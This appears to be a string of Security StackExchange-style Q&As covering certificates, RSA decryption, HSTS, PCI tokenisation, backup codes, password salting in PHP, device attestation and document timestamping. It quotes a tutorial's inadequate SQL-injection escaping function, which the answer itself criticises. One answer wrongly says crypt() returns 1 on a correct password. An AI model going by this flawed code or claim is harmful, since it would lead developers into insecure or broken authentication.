$ openssl x509 -text -in /etc/ssl/certs/DigiCert_Global_Root_CA.pem
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            08:3b:e0:56:90:42:46:b1:a1:75:6a:c9:59:91:c7:4a
    Signature Algorithm: sha1WithRSAEncryption
        Issuer: C = US, O = DigiCert Inc, OU = www.digicert.com, CN = DigiCert Global Root CA
        Validity
            Not Before: Nov 10 00:00:00 2006 GMT
            Not After : Nov 10 00:00:00 2031 GMT
        Subject: C = US, O = DigiCert Inc, OU = www.digicert.com, CN = DigiCert Global Root CA
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (2048 bit)
                Modulus:
                    00:e2:3b:e1:11:72:de:a8:a4:d3:a3:57:aa:50:a2:
                    8f:0b:77:90:c9:a2:a5:ee:12:ce:96:5b:01:09:20:
                    cc:01:93:a7:4e:30:b7:53:f7:43:c4:69:00:57:9d:
                    e2:8d:22:dd:87:06:40:00:81:09:ce:ce:1b:83:bf:
                    df:cd:3b:71:46:e2:d6:66:c7:05:b3:76:27:16:8f:
                    7b:9e:1e:95:7d:ee:b7:48:a3:08:da:d6:af:7a:0c:
                    39:06:65:7f:4a:5d:1f:bc:17:f8:ab:be:ee:28:d7:
                    74:7f:7a:78:99:59:85:68:6e:5c:23:32:4b:bf:4e:
                    c0:e8:5a:6d:e3:70:bf:77:10:bf:fc:01:f6:85:d9:
                    a8:44:10:58:32:a9:75:18:d5:d1:a2:be:47:e2:27:
                    6a:f4:9a:33:f8:49:08:60:8b:d4:5f:b4:3a:84:bf:
                    a1:aa:4a:4c:7d:3e:cf:4f:5f:6c:76:5e:a0:4b:37:
                    91:9e:dc:22:e6:6d:ce:14:1a:8e:6a:cb:fe:cd:b3:
                    14:64:17:c7:5b:29:9e:32:bf:f2:ee:fa:d3:0b:42:
                    d4:ab:b7:41:32:da:0c:d4:ef:f8:81:d5:bb:8d:58:
                    3f:b5:1b:e8:49:28:a2:70:da:31:04:dd:f7:b2:16:
                    f2:4c:0a:4e:07:a8:ed:4a:3d:5e:b5:7f:a3:90:c3:
                    af:27
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Key Usage: critical
                Digital Signature, Certificate Sign, CRL Sign
            X509v3 Basic Constraints: critical
                CA:TRUE
            X509v3 Subject Key Identifier:
                03:DE:50:35:56:D1:4C:BB:66:F0:A3:E2:1B:1B:C3:97:B2:3D:D1:55
            X509v3 Authority Key Identifier:
                keyid:03:DE:50:35:56:D1:4C:BB:66:F0:A3:E2:1B:1B:C3:97:B2:3D:D1:55

    Signature Algorithm: sha1WithRSAEncryption
         cb:9c:37:aa:48:13:12:0a:fa:dd:44:9c:4f:52:b0:f4:df:ae:
         04:f5:79:79:08:a3:24:18:fc:4b:2b:84:c0:2d:b9:d5:c7:fe:
         f4:c1:1f:58:cb:b8:6d:9c:7a:74:e7:98:29:ab:11:b5:e3:70:
         a0:a1:cd:4c:88:99:93:8c:91:70:e2:ab:0f:1c:be:93:a9:ff:
         63:d5:e4:07:60:d3:a3:bf:9d:5b:09:f1:d5:8e:e3:53:f4:8e:
         63:fa:3f:a7:db:b4:66:df:62:66:d6:d1:6e:41:8d:f2:2d:b5:
         ea:77:4a:9f:9d:58:e2:2b:59:c0:40:23:ed:2d:28:82:45:3e:
         79:54:92:26:98:e0:80:48:a8:37:ef:f0:d6:79:60:16:de:ac:
         e8:0e:cd:6e:ac:44:17:38:2f:49:da:e1:45:3e:2a:b9:36:53:
         cf:3a:50:06:f7:2e:e8:c4:57:49:6c:61:21:18:d5:04:ad:78:
         3c:2c:3a:80:6b:a7:eb:af:15:14:e9:d8:89:c1:b9:38:6c:e2:
         91:6c:8a:ff:64:b9:77:25:57:30:c0:1b:24:a3:e1:dc:e9:df:
         47:7c:b5:b4:24:08:05:30:ec:2d:bd:0b:bf:45:bf:50:b9:a9:
         f3:eb:98:01:12:ad:c8:88:c6:98:34:5f:8d:0a:3c:c6:e9:d5:
         95:95:6d:de

There should be no problem if they require you to have this certificate installed; e.g., Mozilla trusts it by default.  It would be a problem if they require you to install and trust a different certificate by the same name.  That said I am unfamiliar with the certificate going by the name "digicert sha2 secure server".  Is the fingerprint of that certificate listed in the certificates trusted by Mozilla?


How to decrypt ciphered text from public and private keys in integer format RSA? I have some ciphered text c:

25891321569730591340908100200084238908526220639262493280132434760408339201

And a public key modulus n:

26968512395163253601932973308752915431751775641665954651069702885890373293

And exponent e:

65537

All of them are in the integer format.
I also have the private key in the same format (integer). How can I decrypt the ciphered text then? Do I need to convert to the OpenSSL .pem format? If yes, then how can I do that?

I tried decrypting through OpenSSL, I got this error:

error:0406506C:rsa routines:RSA_EAY_PRIVATE_DECRYPT:data greater than mod len

I have also tried searching on this website and I got this link. When I tried that I got the following error:

0:d=0  hl=2 l=  50 prim: appl [ 27 ]
Error in encoding
894:error:0D07209B:asn1 encoding routines:ASN1_get_object:too long:

Can anyone help?

Actually you don't really need to convert your keys or use OpenSSL. Open a Python console and decrypt your message:

>>> m = (c ** d) % n

where d is your private exponent.


HSTS and TLS redirection: What is the correct order? Currently I am trying to setup my apache server for HSTS. Therefore my .htaccess looks like this:

<IfModule mod_headers.c>
    Header set Strict-Transport-Security "max-age=63072000; includeSubDomains; preload"
    Header set Cache-Control "no-store, no-cache, must-revalidate"
</IfModule>

RewriteEngine On
RewriteCond %{HTTPS} !=on
RewriteRule ^ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]

Now every request contains a "Strict-Transport-Security" header. But in some forums I have read that no HTTP request may contain an HSTS header. Therefore the order should be like this:

RewriteEngine On
RewriteCond %{HTTPS} !=on
RewriteRule ^ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]

<IfModule mod_headers.c>
    Header set Strict-Transport-Security "max-age=63072000; includeSubDomains; preload"
    Header set Cache-Control "no-store, no-cache, must-revalidate"
</IfModule>

But if I do this it seems like I can not add my site to the HSTS preload list on https://hstspreload.org/ because it says "no HSTS header present". So which one is correct?

At least historically, the HSTS Preload site required that HTTP requests must redirect to HTTPS before doing anything else. As such, the order given in your second block is correct. In particular, the redirect to HTTPS must occur before any other redirects (such as to a www. subdomain, or expanding a shortened URL to its full form).

Sending HSTS headers in non-HTTP requests is only an issue for non-compliant clients. A standards-compliant client will ignore all HSTS headers in insecure responses. With that said, the preload site absolutely should not expect the header in an HTTP response. Given that fact, I suspect that you've broken your HSTS header response somehow. Since you didn't give us the domain to test with ourselves, you should send requests to the domain in question - from the Internet side, not the local network or loopback address, in case you configuration differs between them - and verify that the Strict-Transport-Security header is present and correct on the HTTPS responses (use the browser dev tools, an intercepting proxy, or something like curl -v to check this).


Is it reckless to use an Android app to login to a server with SSH? There is a very similar question here.

Recently I came across an Android app that facilitates SSH and requires no permissions. Specifically, "Telnet / SSH Simple Client" by Advanced Planning Corp..

Does the fact that it does not require permissions make it a secure choice? Or is it still overly risky? Are there any "best practices" that a novice should be aware of?

Are there any consensus choice open-source offerings?

A SSH or telnet client does not need specific permissions. It only needs to open a socket to a remote server, i.e. similar to a web browser, mail client etc. And network access is not considered a special permission any longer.

This means the use of permissions does not say anything about the security in this case: one could write a SSH client which is secure and does not need special permissions the same as one would be able to write a client which is insecure even though special permissions are required. In fact I would be more suspicious if the client would need special permissions like reading the contacts or location, because none of these is needed inside a SSH client.


Can hand/finger movements be determined via changes in WiFi signal strength? On a password generator website I came across the following claim among a list of security tips:

  If there are WIFI routers in your home, then it's possible to know the passwords you typed (in your neighbor's house) by detecting the gestures of your fingers and hands, since the WIFI signal they received will change when you move your fingers and hands.

Is this accurate? Do hand movements alter a WiFi signal, and if so, is the change measurable and usable in practice to estimate which keys have been pressed?

The advice, while based on the fact that 2.4 GHz WiFi behaves like radar (in fact, their frequencies are similar), does not mention that there are other, easier ways for a local physical attacker to detect the actual keystrokes being entered. An attacker close enough to pull this off could use the simpler, easier, and more accurate technique called acoustic keyboard eavesdropping. This attack involves using a very sensitive microphone to pick up the unique sounds made by each key on a keyboard as it is hit and using that signal to reconstruct, with high accuracy, what keys were actually pressed.

If they could not do that, then they could use Van Eck phreaking, a technique often referred to by the codename TEMPEST, to eavesdrop on the electromagnetic signals emanating from the keyboard, usually signals coming from the microcontroller or cable from many tens of meters away. This technique can be done on both PS2 and USB keyboards. There are keyboards immune to this, but they are expensive and specialty devices that are not easy for a consumer to obtain.

However, it's important to point out that 2.4 GHz WiFi, even when used as radar, has very poor spacial resolution. After all, the wavelength is 12.5 cm. This means it would take a lot of clever tricks to use it to analyze something as small as a finger. Even if that could not be pulled off, the simple fact is that an attacker near enough to try such an attack has better ways to get your keystrokes.


Does passing encrypted card data through a server mean that the server must be PCI compliant? I am attempting to setup a network of web applications that all provide some kind of purchasing system. In an effort to avoid having to run vulnerability scans on each web application's server, I would instead like to just give each web application a token value that is created on a payment processing server, which would be the only PCI compliant server on the network.

The web application would then send this token through to the payment processing server, where it would then be decrypted and charged.

I would also like to not store the card details on the payment processing server, so my proposed process is as follows:

Web application client (SPA) collects the card details and makes a request for an encrypted token directly to the payment processing server.

{
  "number": "4242424242424242",
  "exp_month": "12",
  "exp_year": "2018",
  "cvv": "123"
}

The payment processing server encrypts this data (for example let's use AES256 and password "test") and returns the token to the web application client.

{
  "token": "DmR7/sQW7+EqKc1MvdaMgQ/DPVNIJuGTpoe2uwEfA4UJTdcaXuf63GhLyTvfihK77iTknNQArUHRVhm7kdET1KjetIg7Qj/aImlPXqM6GzwlgVljoofxtuHa8rRkU4/TqKHC+mfabYQrs4E+eb39qIeIenosPTr2b/+I+IOSZ6s="
}

The web application client then sends this token to the web application server, along with the order information.

{
  "token": "DmR7/sQW7+EqKc1MvdaMgQ/DPVNIJuGTpoe2uwEfA4UJTdcaXuf63GhLyTvfihK77iTknNQArUHRVhm7kdET1KjetIg7Qj/aImlPXqM6GzwlgVljoofxtuHa8rRkU4/TqKHC+mfabYQrs4E+eb39qIeIenosPTr2b/+I+IOSZ6s=",
  "items": [
    {
      "id": 5,
      "quantity": 1
    }
  ]
}

The web application server receives the order details, and then requests a payment through to the payment processing server.

{
  "token": "DmR7/sQW7+EqKc1MvdaMgQ/DPVNIJuGTpoe2uwEfA4UJTdcaXuf63GhLyTvfihK77iTknNQArUHRVhm7kdET1KjetIg7Qj/aImlPXqM6GzwlgVljoofxtuHa8rRkU4/TqKHC+mfabYQrs4E+eb39qIeIenosPTr2b/+I+IOSZ6s=",
  "provider": "stripe",
  "currency": "aud",
  "price": 123.45
}

The payment processing server then decrypts the token to discover the card details to charge, and proceeds with the charge. The payment processing server returns back whether the charge was successful and the web application server is then free to mark the order as processed.

In this scenario my main concern is whether passing the encrypted card details to the web application server is considered an issue for PCI compliance?

I am aware that I could use a service like Stripe.js to just retrieve a dumb token (literally just a reference to Stripe, no card data at all) however the payment processing system may support multiple providers, some of which may not have any tokenisation systems in place, and so I need to cover all bases here.

Thanks.

In this scenario my main concern is whether passing the encrypted card
  details to the web application server is considered an issue for PCI
  compliance?

In the scenario you've described, you are not passing encrypted card details.  You are passing a token, generated by the payment processor and passed back to you through the web client, which represents a lookup to the actual card data once passed (by you) back to the processor.

In this scenario, presumably the shopping cart page which contains the iframe or javascript which causes the customer's browser to send card details to the processor is served by your server.  In that case, you are still subject to PCI compliance, per SAQ A-EP (emphasis mine):

  SAQ A-EP has been developed to address requirements applicable to
  e-commerce merchants with a website(s) that does not itself receive
  cardholder data but which does affect the security of the payment
  transaction and/or the integrity of the page that accepts the
  consumer’s cardholder data.

  SAQ A-EP merchants are e-commerce
  merchants who partially outsource their e-commerce payment channel to
  PCI DSS validated third parties and do not electronically store,
  process, or transmit any cardholder data on their systems or premises.


Why use one-time codes for two-factor authentication backups? I am building an web application that uses two-factor authentication.

While implementing the recovery feature, I see that most companies (eg Apple, Facebook, Github) provide a set of ~15 backup codes, which are 7-10 characters-long one-time code to send to the server along with the user's credentials as part of the account recovery process.

I don't understand this practice. Why the need for one-time codes? Wouldn't it be simpler to have one, multiple-use backup code?

Compared with something like SMS or email OTPs, I don't think there's as strong a case to make these one-time-use, but the same arguments still apply.

Let's assume that I have the codes printed out on paper. Then during the recovery process, the recovery code passes through all of the following nodes:

Plaintext: My computer's keyboard, OS, browser
ENCRYPTED BY HTTPS: browser --> server's TLS endpoint (for ex. CloudFront)
Plaintext: TLS endpoint --> networking equipment --> application server
Plaintext: Application server <--> db <--> other internal compenents.

The point is that even with HTTPS, there are a lot of nodes that will have your code in memory (or maybe in logs) as part of the recovery process. If the code is multi-use, then you have to trust that every single one of those nodes is honest and not infected with malware. If the code is one-time-use, then once it's been used, you don't care if it ends up in logs or whatever.

It's not a rock-solid argument, but it's the best I can come up with.


SendGrid Github Account Credentials Scanning Some time ago a developer in my team accidentally published some code to his GitHub repository containing ENV_VARS that belonged to our company's SendGrid account. Fortunately I noticed this as soon as he created the repository and it was deleted.

Around 12 hours after this happened, SendGrid locked the company account and mentioned this was done because they found account details in a GitHub repository (the one my developer previously published and subsequently deleted).

This got me thinking: would the "bot" that SendGrid uses be searching GitHub with the username/password (in plain text)? If so, then this is a big security issue on their side, right (storing passwords in plain text)?

Even if they were encrypting the password and decrypting the password to search GitHub for exposed credentials, this would still seem unsafe as the password would be exposed to GitHub via a search string parameter.

Here is an example of what the ENV_VARS for the SendGrid account look like:

MAIL_DRIVER=smtp
MAIL_HOST=smtp.sendgrid.net
MAIL_PORT=587
MAIL_USERNAME=username
MAIL_PASSWORD=null
MAIL_ENCRYPTION=tls

SendGrid is likely proactively using a service such as GitGuardian: https://www.gitguardian.com/

GitGuardian doesn't look for specific credential strings, it looks for telltale signs such as known API key prefixes, standardized variable assignments, etc.


Disable SSLv3 system-wide for all clients? After reading about Poodle secutrity bug, I have disabled SSLv3 on my
servers and browsers.

But there are several clients that do not expose settings detailed enough
via their own means of configuration, e.g. owncloud, uzbl-browser.  Also,
come to think about it, it is kind of cumbersome to go through every single
client...

Apart from rebuilding SSL libraries they use, is there way how to set up
a system-wide default or a policy for simplistic (or "irresponsible", if
you want) clients like that?

I was kind of expecting to find something in /etc/ssl but that only seems
to address certificates and autorities.

Its possible to make changes to the TCP/IP SSL levels, but not really considered a policy per say, You might be able to use a deployment service to make the changes using AutoIT (I make company wide changes with this as my deployment asset.


Is session id in url itself for all the requests an issue? Is session id in url itself for all the requests an issue?

I wouldnt call it a security flaw but it's definitely not a good practice to have Session token in URL .

  Sensitive information within URLs may be logged in various locations,
  including the user's browser, the web server, and any forward or
  reverse proxy servers between the two endpoints. URLs may also be
  displayed on-screen, bookmarked or emailed around by users. They may
  be disclosed to third parties via the Referer header when any off-site
  links are followed. Placing session tokens into the URL increases the
  risk that they will be captured by an attacker.


Authentication and removing the ability to replay information from a compromised machine Consider this scenario.  You have a client machine which is compromised, and a "master" machine which monitors that client's status (IsCompromised = {True|False}).  The client has an agent which checks back into the master at a defined interval in order to relay this information.

Assuming that the client is able to gather the correct information to determine whether or not it has been compromised (think "rooted" or "jailbroken"), how could you ensure that the information from the client being sent to the master machine was not actually sent by a 3rd party machine, nor was it manipulated or replayed?

My initial thoughts are encrypting and signing the message, but in a worst case scenario the certificate on the client is compromised so the signature does not provide authentication (although we could have good encryption between the client and the other side of the TLS connection, we need to be aware that there's a good possibility of a MITM since this machine is compromised... it could trust anything and we have no realistic expectation that the other side is our server).  We also want some sort of session based information or an authenticated hash, but with no secrets on the machine, how can we confidently have that?

For some context, please check out this article.

Of course, we are fighting against the third immutable law of security here, but I'm trying fully think this through.

Note that non-repudiation is about convincing a third party (a judge): Alice signs a message and sends it to Bob, so that non only Bob is convinced that the message really comes from Alice and was not altered, but Bob can show it to Charlie and Charlie will be convinced, too. Here, you only have a client and a server, no third party, so "non-repudiation" is not relevant here. This more looks like an authentication problem.

The first answer is that it is not possible on the following grounds: the machine being fully compromised, the attacker could read its entire contents. The attacker may then run a clone of the machine in a virtual machine and let that clone talk with the server. The clone will report that all is well, while the attacker pillages the genuine system. From a cryptographer's point of view, a difference which can be made between two entities, from the outside (e.g. a genuine watchdog, and a fake one), only if they cannot compute the same things, and ability to compute equates to knowledge: the watchdog can compute an answer to the server that the attacker cannot fake only if the watchdog knows some secret data that the attacker does not, and, by construction, this does not happen.

The second answer is that it might be feasible but it requires that the conditions are right. If we look at the problem closely, we see that the attacker's goal is to talk with the server, emitting messages that the compromised machine cannot produce. This means that the watchdog can work reliably only if the compromise is destructive. For instance, suppose that:

The client under supervision uses a set of system files (the operating system with its kernel and libraries and utilities).
Under normal conditions, these files are not entirely known to the attacker (he may have copies of some or most of them, but not all).
But the server knows all the files, exactly.
A successful compromise necessarily "damages" at least one file (that's the tricky point) and the modified contents cannot be recovered afterwards by the attacker.

Under these conditions, then you can use the following:

Make an archive of all the system files, in alphabetical order. The archive format must include the file names and contents and be deterministic: if you make the archive twice, you get twice the same output file, exact to the last bit. The archive file is not stored on disk or in RAM; it is hashed on-the-fly with SHA-256.
Let K be the SHA-256 output. At regular intervals, the client talks to the server; the server sends a random challenge C, and the client responds with HMAC/SHA-256, computed over C and using K as key.
The server uses his knowledge of the client files to recompute K and verify the HMAC output.

The challenge-response protocol with HMAC prevents replay attacks. MitM do not apply either. We really are in information-theoretic grounds here, not "normal crypto".

Unfortunately, it is very hard to ensure the conditions above. Secrecy of the device contents is almost impossible to achieve when the device is a consumer product (the attacker can buy other device instances, open them and look at all the contents), and most compromises are not destructive, at least as far as system files are involved: buffer overflows and similar vulnerabilities lead to RAM-only exploits, with no change whatsoever to system files.

Therefore what I expose here is more a theoretical concept than anything practical. However, this ought to help understand the issue: to prevent hidden alterations, the watchdog must own a "secret" which will not be revealed through a full compromise, which is kind of paradoxical and requires a bit of cheating with preposterous conditions.


How to save the random salt to the database As I understand it, salting and hashing passwords is the way to go. I also understand that to authenticate a salted and hashed password, the random salt needs to be saved. Does this mean that if I use the following code to process the password:

$blowfish_salt = bin2hex(openssl_random_pseudo_bytes(22));
$hash = crypt($data, "$2a$12$".$blowfish_salt);

then I would need to create a column in my users table that has to hold the value of $blowfish_salt?

Am I correct in thinking that

The above code needs to be included in the php that processes the registration form?
The processing form has to send the value in $blowfish_salt to the table to be stored next to the password?
The salt is stored as is - no need for it to be processed/obscured?
At the time of authentication, how the salt was generated in the first place need not be known?
If by some coincidence two users select the same password, the stored salted and hashed value will make that immaterial?
How will the authentication code use the salt? Is there a specific code for this?

I also found the following code in a tutorial as a method of preventing sql injection:

//this function is to guard against sql injection

function prevent($this) {
 $this = stripslashes($this);
 $this = mysql_real_escape_string($this);
 return $this;
}

//the prevent() can be used like this on form fields to prevent sql injection
prevent($username);
prevent($password);

Do I need to use this if I am salting and hashing the password in the registration form?  Wouldn't any malicious code get scrambled in the process? Or am I missing something?

You're salt is saved in the hash generated by your crypt() function. To verify the password all you need to do is:

$res = crypt($password, $hash);

$res will return 1 if the password is correct.

You need to save the password hashed, so yes.
Nope this is already contained in the string you generated (if you look closely you can see that the hash is actually delimited in several sections)
Salts are never considered secret so that's not a problem
Refer to 2.
They will be different because the salts will be different

Your SQL injection prevention is not considered secure, more details about that can be found here SQL injection that gets around mysql_real_escape_string() on Stackoverflow and yes you should always sanitize variables before processing them. There are tons of resources available on this website about how to prevent SQL injection correctly. In general you shouldn't be using mysql_ functions in PHP. PHP has some nice tools which handle all these problems for you like MySQLi and PDO. Also have a look at stored procedures.


Does the use or the implementation of PDCA or Deming cycle in the Information Security Management System mandatory? To comply with ISO 27001, does the Information Security Management System ought to implement the PDCA process ? or ISMS can choose another management method?

PDCA process is the Plan Do Check and Act management process. It is also called Deming cycle.

Taken from the book, CyberWar, CyberTerror, CyberCrime and CyberActivism, 2nd Edition

  ISO/IEC 27003 (the ISMS default-suggested by ISO 27001), provides
  practical guidance for implementing a security management system based
  on ISO/IEC 27001:2005 by introducing a comprehensive methodology of
  applying the PDCA cycle to cybersecurity. This standard describes how
  to establish, implement, execute, observe, analyze, maintain, and
  improve an organization’s cybersecurity program. Although ISO
  27001:2013 dropped the PDCA concept in the revision, it still has
  value as a decision-making aid.

A better book is Enterprise Cybersecurity: How to Build a Successful Cyberdefense Program Against Advanced Threats. This book is great because you can use it to integrate to current-running reality. If you must comply with, or obtain, official ISO 27001 certification and you must use ISO 27002/27003 as the ISMS prescriptions -- go ahead with those plans. However, it may be worth the effort to map towards this second book.

In Enterprise Cybersecurity, the frameworks are touched on in Chapter 13, including the introduction of the book's own Enterprise Cybersecurity Architecture framework, a comparative to the other frameworks, such as ISC2's CBK, ISO 27000 series, NIST SP800-53R4, et al -- which also mentions additional coverage in Appendix B. If you can get an Information Security Management program aligned with the operational architecture described thoroughly in Appendices C through G, then I think you would definitely exceed the capabilities of any other framework. Just map back to them as needed.


How to secure clear text data that is transmitted through LAN / Wireless LAN connection and PPTP VPN without a domain name (IP address only) We use Odoo ERP in our office and there is a statement in the documentation which says:

  Whether it's accessed via website/web client or the webservice, Odoo
  transmits authentication information in cleartext. This means a secure deployment of Odoo must use HTTPS3.

It got me thinking since we mainly access the server locally or through PPTP VPN connection do we still need to secure the connection using SSL?

And if so, how do we achieve it since SSL is tied to a domain name while we only use IP Address.

I read that Windows PPTP VPN has built in encryption engine is it secure enough?

And there is this concern about sniffing software like wireshark that can decrypt local wifi WPA2PSK connection. Tutorial to do that. And we also access the server through public WiFi connection which means that the key is shared to everyone.

What is the best way to secure all of these connections (LAN, Wifi LAN, PPTP VPN)?

Go for HTTPS.

All else aside, your VPN is likely not terminating on your Odoo, so it would potentially be possible to sniff the credentials as they transit between the system running your VPN server, and the one running Odoo.

Implementing HTTPS would ensure the communication (and credentials) are encrypted up to the Odoo server.

As a starting point, you can generate a self-signed cert using openssl with:

openssl req -newkey rsa:2048 -keyout server.key -out server.pem -subj "/CN=myserver/O=myCorp"

You could also look into something like cfssl (https://github.com/cloudflare/cfssl) to generate a 'proper' PKI with a CA and server/client certs.

In all honesty, FQDN would be nice (and you could make it easy by editing your /etc/hosts, or system-specific equivalent), but isn't required.
You can, all else aside, add IP addresses to certificates (as a SAN - Subject Alternative Name) that would be considered 'valid'.

The main issue is that unless you import your CA chain into your browser/device cert store, you will still get warnings about self-signed certs.
You should try and avoid that - getting people used to ignoring security warnings is a Bad Thing ©.

It sounds like you would be better off using your VPN for routing purposes only (basically, so that you can always speak to your system at the same RFC1918 address), and avoid exposing all this to the internet at wide until you know you have everything nice and locked down.


Does MathML pose a security risk? MathML seems like a promising and attractive technology. But Google Chrome doesn't support it, allegedly because it has "architectural security issues" according this wikipedia page. But it also says "low usage do not justify their engineering time". It seems that Firefox and Safari have been supporting it just fine for quite a while. I am considering trying out MathML instead of MathJax in my business and I am concerned whether there is any substance in those "security issues" claimed by Google. How would a markup language be a security issue anyway?

The architectural issues you mentioned seem to have been resolved, according to this comment:

  The MathML code had fundamental architectural issues (e.g. modifying the render tree during layout) that are guaranteed to introduce security vulnerabilities. Until those underlying issues were fixed, our fuzzing infrastructure was just going to continue identifying new triggers for the vulnerabilities.

Despite this fact, adding new and highly complex code with unclear ownership (i.e. who should be maintaining it) is a recipe for security vulnerabilities. Any time you add complex features to a browser render engine, you risk introducing severe security bugs. It seemed that Google tried adding it and found that the risk of new bugs was just too high and removing them all was just too difficult for them to go forward. Unless someone can provide high-quality code and is willing to maintain it completely, it is unlikely that Google Chrome will be getting native MathML support.

See the relevant threads at the Google bug tracker:

Enabling support for MathML
Missing MathML implementation


HTTP Proxy with encrypted authentication I'm looking for a fast and lightweight HTTPS proxy that supports encrypted authentication.

I found a lot of different HTTP proxies e.g. squid, tinyproxy, 3proxy and so on.  Unfortunately none of them seems to support encrypted authentication.

Than I found Stunnel and wanted to connect it with 3proxy. Unfortunately that didn't work.

The thing is that I want the proxy only server side. No additional client side software next to the browser needed. I think its terrible that in the 21st century most of the proxies still use plain text authentication.

So does anyone know to use a HTTPS proxy with Mozilla Firefox with no additional software on the client side?

What you wish to accomplish does seam to be possible (but on the edge of it) using squid. Squid is actually capable of intersecting https traffic and it appears the connection to it can be encrypted using command line options. Details are available  here (at the bottom). You should also note that while no other software will be required client side, you will need to trust squids ca certificate. This is fundamental to the security of https without it anyone could monitor your traffic.


Signing and timestamping implementation I am writing a software that records and stores data files.

I want to digitally sign and time stamp these files so that I can assure that it's Contemporaneous and Attributable (to comply with 21 CFR part 11 regulations and ALCOA C+ guidelines). This means I want to be able to prove that the file was recorded by a certain user and prove that the file was created/modified at a certain time.

I have some questions regarding the validity of the implementation I have in mind:

Implementation:

Digital signature

I was planning to generate a RSA pair of keys.
I would create the hash of the file (using a strong hash generator) and encrypt with the public private key.
I will call the encrypted hash the "signature" and save it inside the file.
At this point I assume that the file is "Attributable" and it can be validated using the author private public key.

Timestamp

I will send the "signature" (encrypted hash of the file) to a TSA
The TSA sends me a hash which will be my timestamp signed by the TSA.
I save this hash inside the file.
At this point I assume that the file is "Contemporaneous" and can be validated only by sending this hash to the TSA.

Questions:

Is this implementation conceptually correct?
Does this implementation    comply with most standards (assuming that I use good hash and RSA keys generators and TSAs)?
Is it possible to have a trusted offline timestamping (to account for computers that cannot have internet access or temporary lost connection)?

So, in general, your thought process is correct.

Create the digital content Document and save it.
To prove that Author last saved Document they would sign the file with their asymetric key
To prove when Document was saved you would cryptographicly time-stamp it with the help of a trusted Time Stamp Authority.

At any point in the future anybody can validate that the file is the same as it was at a point in time (unchanged since step 3) by validating the timestamp hash with the help of the TSA.

At any point in the future anybody can validate that the file is unmodified from when the Author saved it (unchanged since step 2) by validating Document's signature using Author's public key.

At the core, this seems to be what you are thinking about and yes this is how it does work.  And yes, an implementation along these lines does comply with every standard that I am aware of (I work in the USA, but not with the FDA) for proving authenticity of documents across a time domain; including digital contracts (it provides proof of identity and proof of time signed).  Though if you are attempting to use this for any purpose where compliance is mandatory then you should take the entire matter up with legal council.  Let me be clear: I am not a lawyer and nothing I say should be construed as legal advise or a recommendation on a legally acceptable course of action for you and/or your company.  If that is what is required, make sure that you and/or your company bring in your/their own lawyers to ensure you are compliant.

OK, now that the CYA is out of the way we need to look at implementation.  You have a data payload for which you wish to guarantee authenticity.  This isn't uncommon and is something we all deal with regularly ("verify the file hash before installing", "verify the message signature with my public key", etc).  It is a known solved problem in our world.  For verification of integrity of the payload, a hash of the payload is computed for comparison.  For verification of authorship of a payload, the hash is computed and then cryptographicaly encrypted (using the Author's private key) -- a method we refer to as "signing the document".  While you verify the integrity by making sure the hashes match, you check the authorship by decrypting the "signature block" using the supposed Author's public key -- this gives you the file integrity hash that you then verify as before.

Again, this is a solved problem with various schemes in existence to perform it.  One of the most common is Pretty Good Privacy (PGP).  The PGP standards include a full definition of how to create good cryptographic keys (a required pre-req for signing) and how to properly sign a message.  At this point you get into the discussion of Opaque Signatures (where the signature and payload are combined into a single output) and detached signatures.

With an Opaque Signature you will only have one file in the output.  It is a combination of the data payload from the original file, and the signature block.  While this works well when you are also encrypting the payload (so you'd have to perform a separation and decryption to use the data anyway) its usefulness in scenarios where there is a desire to directly consume the data by an external program varies depending on if that program will be OK with the signature block.  For textual messages an Opaque Sig normally isn't an issue.  For binary files it will all depend on the software you want to use the file with.

Contrast that with a Separate Signature, where a secondary "signature file" is created to live side-by-side with the original (payload.data and payload.data.signature).  This method increases your file count since there are new files for each signature, but the original file will still be able to be opened/viewed in it's intended software without any extra modifications or allowances.  This makes the separate signature the more common method for binary files that remain in use.  Separate Sigs also have an advantage when using a Time Stamping Authority; you only have to time-stamp the .signature file, reducing the size of the file being transmitted to/from the TSA.

And that then brings us around to the TSA's role in all of this.  The thing about a Time Stamp Authority is that they should be near-universally trusted, external and unaffiliated to the parties they provide timestamps for, and impartial in their review of any action.  The TSA's role requires them to be neutral across the domain where they are required to provide actionable data.  That means if you only need a TSA to provide internal audit timestamps but those aren't required externally, then you can run your own internal authority.  But if you need to be able to prove to an outside party that something is accurate as of a given date/time, then the TSA used should be external to both of you (to prove neither of you are tampering with the results).  What the TSA actually does is take a file/data, add a timestamp (and, often, information about who requested the time stamp), and then sign the whole thing.  So in the end, you may have payload.data, payload.data.signature, and payload.data.signature.timestamped (in some cases .signature is superseded by .signature.timestamped as the final file can provide both functions; other places may need to keep both.)

But this brings up the issue on offline time-stamping.  And the answer there is, no.  Using a TSA is, by its very nature, asking an external auditor to verify the time something happened.  Using an offline TSA (I'm reading it here as: "I self-timestamp the documents without using an external party") breaks the entire reason for performing timestamping at all -- having an unbiased external party verify the time.  Otherwise you might as well use the "last modified on date" from the filesystem; you can change your system clock and fake the modified date as easily as you could change the clock and fudge your own internal timestamp.  (again, consult your lawyers, but if you're trying to comply to FDA standards then I'm going to assume you're trying to make proofs to an external regulator of some sort)  So, no, an offline (or an internal, or an affiliated-to-you) TSA would not fulfill its purpose when trying to make proofs to external entities.

And, finally, a thought about something that came up in the comments (and I briefly touched above).  There was some consideration about the fact that this balloons the number of files associated with a project.  And, while the .sig and .time files may be small in size, it certainly does.  One thing to look at if this is a consideration is what kind of files are being verified, how often in their lifecycle a time stamp is needed, and if they are individual & separable or a group of files in a single project.  Most often such signatures and timestamps are applied to final output (or major checkpoint, but not to works in progress); so you don't need tons of these files for points-in-time, just the very few to handle when you need an authority signature.  And, often one will look for this kind of authenticity verification for a project and not individual files.  If that is the case, it may be prudent to bundle the files together in a single container (zip, tar, etc) and then perform the signing and timestamping on that container.  Then you'd have two files: a single archive file for each completed project, and a .signature.timestamp to verify it.


Does signing my e-mail with DKIM imply non-repudiation for all my users? Since a few weeks I have set up my google apps domain to use DKIM for all outgoing mail. Does this mean that everyone that is in possession of a copy of the message can verify that it really originated from my domain, and that the contents were not altered?
I am specifically considering the cases of forwarded messages (possibly without knowledge/approval of the original sender) and messages leaked from the receiver's mailbox e.g. during hacking attacks.

If this is the case, how should I communicate this change to my users? Does any of you have any experience in explaining this technical, subtle, but important change to users?

